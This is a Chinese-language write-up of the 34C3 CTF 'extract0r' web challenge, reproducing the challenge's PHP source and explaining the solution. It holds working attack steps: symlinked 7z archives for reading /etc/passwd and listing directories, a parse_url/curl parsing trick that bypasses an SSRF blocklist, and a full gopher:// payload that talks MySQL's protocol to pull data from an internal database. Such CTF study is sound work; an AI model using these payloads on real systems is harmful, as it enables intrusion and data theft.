34c3 web extract0r!

96
rebirthwyw
2018.01.04 16:34* 字数 1620

34c3 web extract0r!

这道题目比赛的时候做了差不多两天都没做出来,过完元旦抽了差不多一天半的时间研究了一下这道题,大概从一个萌新的视界讲一下这道题目的一个逻辑。
题目的源码已经放出来了,感兴趣的可以去github上看一下

https://github.com/eboda/34c3ctf/tree/master/extract0r

任意文件读取

index

上来页面很简单,一个可以上传压缩文件的页面。
点击extract it!可以完成解压。
这里很容易想到之前pwnhub也出过的一个题目,通过软链接来达到任意文件读取。但是tar格式的压缩文件却解压失败了。
尝试以后会发现这个是一个7z格式的文件解压。

ln -s /etc/passwd a
7z a -t7z 1.7z a
/etc/passwd

读取源码

  • index.php
<?php
session_start();

include "url.php";

function get_directory($new=false) {
    if (!isset($_SESSION["directory"]) || $new) {
        $_SESSION["directory"] = "files/" . sha1(random_bytes(100));
    }

    $directory = $_SESSION["directory"];

    if (!is_dir($directory)) {
        mkdir($directory);
    }

    return $directory;
}

function clear_directory() {
    $dir = get_directory();
    $files = glob($dir . '/*'); 
    foreach($files as $file) { 
        if(is_file($file) || is_link($file)) {
            unlink($file); 
        } else if (is_dir($file)) {
            rmdir($file);
        }
    }
}

function verify_archive($path) {
    $res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
    $line = strtok($res, "\n");
    $file_cnt = 0;
    $total_size = 0;

    while ($line !== false) {
        preg_match("/^Size = ([0-9]+)/", $line, $m);
        if ($m) {
            $file_cnt++;
            $total_size += (int)$m[1];
        }
        $line = strtok( "\n" );
    }

    if ($total_size === 0) {
        return "Archive's size 0 not supported";
    }

    if ($total_size > 1024*10) {
        return "Archive's total uncompressed size exceeds 10KB";
    }

    if ($file_cnt === 0) {
        return "Archive is empty";
    }

    if ($file_cnt > 5) {
        return "Archive contains more than 5 files";
    }

    return 0;
}

function verify_extracted($directory) {
    $files = glob($directory . '/*'); 
    $cntr = 0;
    foreach($files as $file) {
        if (!is_file($file)) {
            $cntr++;
            unlink($file);
            @rmdir($file);
        }
    }
    return $cntr;
}

function decompress($s) {
    $directory = get_directory(true);
    $archive =  tempnam("/tmp", "archive_");

    file_put_contents($archive, $s);
    $error = verify_archive($archive);
    if ($error) {
        unlink($archive);
        error($error);
    }

    shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
    unlink($archive);

    return verify_extracted($directory);
}

function error($s) {
    clear_directory();
    die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}

$msg = "";
if (isset($_GET["url"])) {
    $page =  get_contents($_GET["url"]);

    if (strlen($page) === 0) {
        error("0 bytes fetched. Looks like your file is empty.");
    } else {
        $deleted_dirs = decompress($page);
        $msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";

        if ($deleted_dirs > 0) {
            $msg .= "<h3>WARNING:</h3> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";
        }
    }
}
?>

<html>
    <head><title>extract0r!</title></head>
    <body>
        <form>
            <h1>extract0r - secure file extraction service</h1>
            <p><b>Your Archive:</b></p>
            <p><input type="text" size="100" name="url"></p>
            <p><input type="submit" value="Extract it!"></p>
        </form>

        <p>Your extracted files will appear <a href="<?= htmlspecialchars(get_directory()) ?>">here</a>.</p>
        <?php if (!empty($msg)) echo "<hr><p>" . $msg . "</p>"; ?>
    </body>
</html>
  • url.php
<?php
function in_cidr($cidr, $ip) {
    list($prefix, $mask) = explode("/", $cidr);

    return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));
}

function get_port($url_parts) {
    if (array_key_exists("port", $url_parts)) {
        return $url_parts["port"];
    } else if (array_key_exists("scheme", $url_parts)) {
        return $url_parts["scheme"] === "https" ? 443 : 80;
    } else {
        return 80;
    }
}

function clean_parts($parts) {
    // oranges are not welcome here
    $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";

    if (array_key_exists("scheme", $parts)) {
        $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
    }

    if (array_key_exists("user", $parts)) {
        $parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
    }

    if (array_key_exists("pass", $parts)) {
        $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
    }

    if (array_key_exists("host", $parts)) {
        $parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
    }

    return $parts;
}

function rebuild_url($parts) {
    $url = "";
    $url .= $parts["scheme"] . "://";
    $url .= !empty($parts["user"]) ? $parts["user"] : "";
    $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
    $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
    $url .= $parts["host"];
    $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
    $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
    $url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
    $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";

    return $url;
}

function get_contents($url) {
    $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
        "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", 
        "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
        "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", 
        "198.51.100.0/24", "198.18.0.0/15",  "192.0.2.0/24", "100.64.0.0/10" ];

    for ($i = 0; $i < 5; $i++) {
        $url_parts = clean_parts(parse_url($url));

        if (!$url_parts) {
            error("Couldn't parse your url!");
        }

        if (!array_key_exists("scheme", $url_parts)) {
            error("There was no scheme in your url!");
        }

        if (!array_key_exists("host", $url_parts)) {
            error("There was no host in your url!");
        }

        $port = get_port($url_parts);
        $host = $url_parts["host"];

        $ip = gethostbynamel($host)[0];
        if (!filter_var($ip, FILTER_VALIDATE_IP, 
            FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
            error("Couldn't resolve your host '{$host}' or 
                the resolved ip '{$ip}' is blacklisted!");
        }

        foreach ($disallowed_cidrs as $cidr) {
            if (in_cidr($cidr, $ip)) {
                error("That IP is in a blacklisted range ({$cidr})!");
            }
        }

        // all good, rebuild url now
        $url = rebuild_url($url_parts);


        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 3);
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
        curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); 
        curl_setopt($curl, CURLOPT_PORT, $port);

        $data = curl_exec($curl);

        if (curl_error($curl)) {
            error(curl_error($curl));
        }

        $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        if ($status >= 301 and $status <= 308) {
            $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
        } else {
            return $data;
        }

    }

    error("More than 5 redirects!");
}

任意列目录

两天被卡在这个点上面也是萌萌哒了。。。比赛时候一直想着绕过url.php等等的事情,或者读一些敏感文件,没去想着列目录。

function verify_extracted($directory) {
    $files = glob($directory . '/*'); 
    $cntr = 0;
    foreach($files as $file) {
        if (!is_file($file)) {
            $cntr++;
            unlink($file);
            @rmdir($file);
        }
    }
    return $cntr;
}

当时以为这个限制的很好了,就没多想。。。
复现的时候一直在想怎么猜到的flag在mysql里,直到随手一试发现glob函数是有问题的。。。

glob函数

也就是说$files = glob($directory . '/*');这句话,是不会显示隐藏文件的,所以如果我们软链接生成的是一个隐藏文件,那么就不会被这个函数发现,这样就能软链接一个目录来达到任意列目录的目的。

ln -s /home/extract0r/ .a
7z a -t7z 2.7z .a
列目录

这样就能找到出题人故意留下的线索,一个备份用的sh文件。

  • create_a_backup_of_my_supersecret_flag.sh
#!/bin/sh
echo "[+] Creating flag user and flag table."
mysql -h 127.0.0.1 -uroot -p <<'SQL'
CREATE DATABASE  IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `flag`;

DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
  `flag` VARCHAR(100)
);


CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
SQL

echo -n "[+] Please input the flag:"
read flag

mysql -h 127.0.0.1 -uroot -p <<SQL
INSERT INTO flag.flag VALUES ('$flag');
SQL

echo "[+] Flag was succesfully backed up to mysql!"

SSRF

  • 看这个sh文件可以发现,flag在数据库中,同时有一个无密码的m4st3r_ov3rl0rd用户可以访问这个数据库。因为mysql是支持tcp方式建立连接的,所以如果我们能发送一个构造的tcp包,就能做到和本地的3306端口通讯。这里值得注意的一点是,mysql的登录是挑战应答认证机制,认证时server端会随机发送一个salt,因此如果m4st3r_ov3rl0rd用户是有密码的,就没法在非交互的情况下完成tcp的连接。
  • 如何发送tcp包??通过gopher协议可以直接发送一个tcp包的exp。
  • 因为index.php会将curl请求到的数据,用7z进行解压,所以我们还需要人为构造一个7z能解压的文件。
  • url.php限制了访问内网,需要绕过url.php

绕过url.php

不得不说,这个url.php是一个我看来很完善的防止ssrf的脚本。绕过url.php的方法在php的curl本身上。绕过的核心问题是,php的parse_url和curl对于url的解析存在不同。

  • 官方给出的绕过是这样的:gopher://foo@[cafebabe.cf]@yolo.com:3306/
    test1

    parse_url认为host是yolo.com
    但是curl却认为host是[cafebabe.cf]
  • rfc3986中是这样定义host的:
host        = IP-literal / IPv4address / reg-name

然后有这么一段话

A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = "[" ( IPv6address / IPvFuture  ) "]"

也就是说[cafebabe.cf]这种类型是rfc规定的一种host的形式,但是里面不应该是reg-name形式的东西。curl识别了[],因此把这个当做了host。

  • rr大佬的绕过是这样的gopher://foo@localhost:f@ricterz.me:3306
    这个我大致的猜测是curl认为foo是userinfo段,然后localhost是host段,碰到:停止获取,就获得了localhost。不过这个payload在我本地7.47的php curl中没有成功。远程应该是7.52。
  • 对于curl和parse_url如何解析url,我做了一些测试以后,大致感觉curl的解析是从左至右找的host,而parse_url则是从右至左的找的host。
  • 对于指定3306端口,因为
    $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
    这个的缘故,orange师傅在blackhat上的那个slide里的一些姿势都不能用,比如
    orange

    因此,port只能放在最后的位置。还有这上面这个payload在php curl7.47里也不行,不知道为什么低版本反倒比高版本不容易绕过

mysql构造压缩包

  • 因为index.php会将拿到的数据用7z解压,所以我们不能只select一个flag,而是要select出一个压缩包的文件。但用mysql实现一个压缩算法什么的把找出来的flag压缩应该是不太可行的。。。我的第一反应是类似tar的打包。就是我们放的是无损的数据就不会存在这个问题。
  • tar和zip都有这样的功能,zip的-n参数可以不压缩具有特定字尾字符串的文件。
  • 这样就可以先构造一个比如100个'A'的文件,然后用zip -n的方式压缩它,效果如图:


    zip
  • 然后可以通过把select出来的flag替换到对应的位置,万幸的是crc校验不对7z也能够解压23333
  • 这样的话,flag前后,我们可以用cast把这个构造的压缩包的内容依葫芦画瓢转化成字节,然后用concat把前后加flag的内容拼起来就ok了。
echo "use flag;SELECT cast(concat(0x504B03040A00000000000E4F244C8DBC9795640000006400000001001C00325554090003CB894D5AD7894D5A75780B000104E803000004E8030000,rpad(flag,100,'A'),0x504B01021E030A00000000000E4F244C8DBC97956400000064000000010018000000000000000000A48100000000325554050003CB894D5A75780B000104E803000004E8030000504B05060000000001000100470000009F0000000000) AS BINARY) from flag;"|mysql -h127.0.0.1 -um4st3r_ov3rl0rd

构造tcp包

  • tcp包的构造,可以像官方给的exp一样,通过实现mysql的tcp通信方式来直接构造;也可以取巧一点,通过抓包的方式获得。
  • mysql的通信,可以参考这篇http://www.jb51.net/article/131681.htm
  • 抓包的话有一个比较坑的地方,搞的我之前怎么抓也没抓到。就是你本地使用mysql的时候使用Unix套接字来通信的。需要加一个-h127.0.0.1的参数才是通过tcp来通信。
  • 抓到包以后把发送给server的提取出来,保存它的hex值就好了。


    mysql

先抓包再研究mysql的通信过程也是个不错的选择。

gopher发包

这部分很简单,把刚刚提取到的hex值变成url编码的形式,加上gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_就大功告成了。
最后的payload是

gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_%AD%00%00%01%85%A2%BF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6D%34%73%74%33%72%5F%6F%76%33%72%6C%30%72%64%00%00%6D%79%73%71%6C%5F%6E%61%74%69%76%65%5F%70%61%73%73%77%6F%72%64%00%65%03%5F%6F%73%05%4C%69%6E%75%78%0C%5F%63%6C%69%65%6E%74%5F%6E%61%6D%65%08%6C%69%62%6D%79%73%71%6C%04%5F%70%69%64%04%31%38%39%35%0F%5F%63%6C%69%65%6E%74%5F%76%65%72%73%69%6F%6E%06%35%2E%37%2E%32%30%09%5F%70%6C%61%74%66%6F%72%6D%06%78%38%36%5F%36%34%0C%70%72%6F%67%72%61%6D%5F%6E%61%6D%65%05%6D%79%73%71%6C%21%00%00%00%03%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%5F%63%6F%6D%6D%65%6E%74%20%6C%69%6D%69%74%20%31%12%00%00%00%03%53%45%4C%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%66%6C%61%67%72%01%00%00%03%53%45%4C%45%43%54%20%63%61%73%74%28%63%6F%6E%63%61%74%28%30%78%35%30%34%42%30%33%30%34%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%43%30%30%33%32%35%35%35%34%30%39%30%30%30%33%43%42%38%39%34%44%35%41%44%37%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%2C%72%70%61%64%28%66%6C%61%67%2C%31%30%30%2C%27%41%27%29%2C%30%78%35%30%34%42%30%31%30%32%31%45%30%33%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%41%34%38%31%30%30%30%30%30%30%30%30%33%32%35%35%35%34%30%35%30%30%30%33%43%42%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%35%30%34%42%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%34%37%30%30%30%30%30%30%39%46%30%30%30%30%30%30%30%30%30%30%29%20%41%53%20%42%49%4E%41%52%59%29%20%66%72%6F%6D%20%66%6C%61%67%01%00%00%00%01

最后的一点是,你抓包的话不难发现mysql除了返回给你值,在前面还会有一些信息,但是7z牛逼啊,不管前面的内容也能给你解压出来23333

大功告成

flag
膜大佬们